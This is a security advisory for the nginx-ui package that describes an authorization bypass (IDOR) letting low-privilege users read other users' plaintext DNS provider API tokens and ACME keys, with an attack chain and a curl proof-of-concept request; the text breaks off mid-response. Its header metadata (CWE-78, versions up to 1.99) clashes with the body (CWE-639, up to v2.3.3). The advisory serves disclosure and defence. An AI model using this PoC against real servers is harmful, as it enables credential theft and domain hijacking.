GitHub Security Advisory: GHSA-5hf2-vhj6-gj9m
Package: github.com/0xJacky/nginx-ui (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: <= 1.99
Patched in: unpatched

Summary: nginx-UI has Unencrypted Storage of DNS API Tokens and ACME Private Keys

Details:
## Summary

Nginx-UI contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access, modify, and delete resources belonging to other users. The application's base `Model` struct lacks a `user_id` field, and all resource endpoints perform queries by ID without verifying user ownership, enabling complete authorization bypass in multi-user environments.

## Severity

**High** - CVSS 3.1 Score: **8.8 (High)**

Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`

**Note**: Original score was 7.5. The score was updated to 8.8 after discovering that sensitive data (DNS API tokens, ACME private keys) is stored in plaintext, which when combined with IDOR allows immediate credential theft without decryption.

## Product

nginx-ui

## Affected Versions

All versions up to and including v2.3.3

## CWE

CWE-639: Authorization Bypass Through User-Controlled Key

## Description

### Exposed DNS Provider Credentials

The `dns.Config` structure (`internal/cert/dns/config_env.go`) contains API credentials:

```go
type Configuration struct {
    Credentials map[string]string `json:"credentials"`  // API tokens here
    Additional  map[string]string `json:"additional"`
}
```

| Provider | Credential Fields | Impact if Leaked |
|----------|------------------|------------------|
| Cloudflare | `CF_API_TOKEN` | Full DNS zone control |
| Alibaba Cloud DNS | `ALICLOUD_ACCESS_KEY`, `ALICLOUD_SECRET_KEY` | Full DNS control + potential IAM access |
| Tencent Cloud DNS | `TENCENTCLOUD_SECRET_ID`, `TENCENTCLOUD_SECRET_KEY` | Full DNS control |
| AWS Route53 | `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` | Route53 + potential AWS access |
| GoDaddy | `GODADDY_API_KEY`, `GODADDY_API_SECRET` | DNS record modification |

### Combined Attack: IDOR + Plaintext Storage

When the IDOR vulnerability is combined with plaintext storage, attackers can directly extract API tokens from other users' resources:

```
Attack Chain:
┌─────────────────────────────────────────────────────────────────┐
│ 1. Attacker authenticates with low-privilege account            │
│ 2. Uses IDOR to enumerate: /api/dns_credentials/1,2,3...      │
│ 3. Reads plaintext API tokens directly from HTTP response       │
│ 4. No decryption needed - tokens stored in cleartext            │
│ 5. Uses stolen tokens to:                                       │
│    - Modify DNS records (domain hijacking)                      │
│    - Issue fraudulent SSL certificates                          │
│    - Pivot to cloud infrastructure                              │
└─────────────────────────────────────────────────────────────────┘
```

### PoC: Extracting Plaintext Credentials via IDOR

```bash
# Attacker with low-privilege token accessing admin's DNS credential
curl -H "Authorization: $ATTACKER_TOKEN" \
     https://nginx-ui.example.com/api/dns_credentials/1

# Response contains PLAINTEXT API token (no decryption required):
{
    "id": 1,
    "name": "Production Cloudfl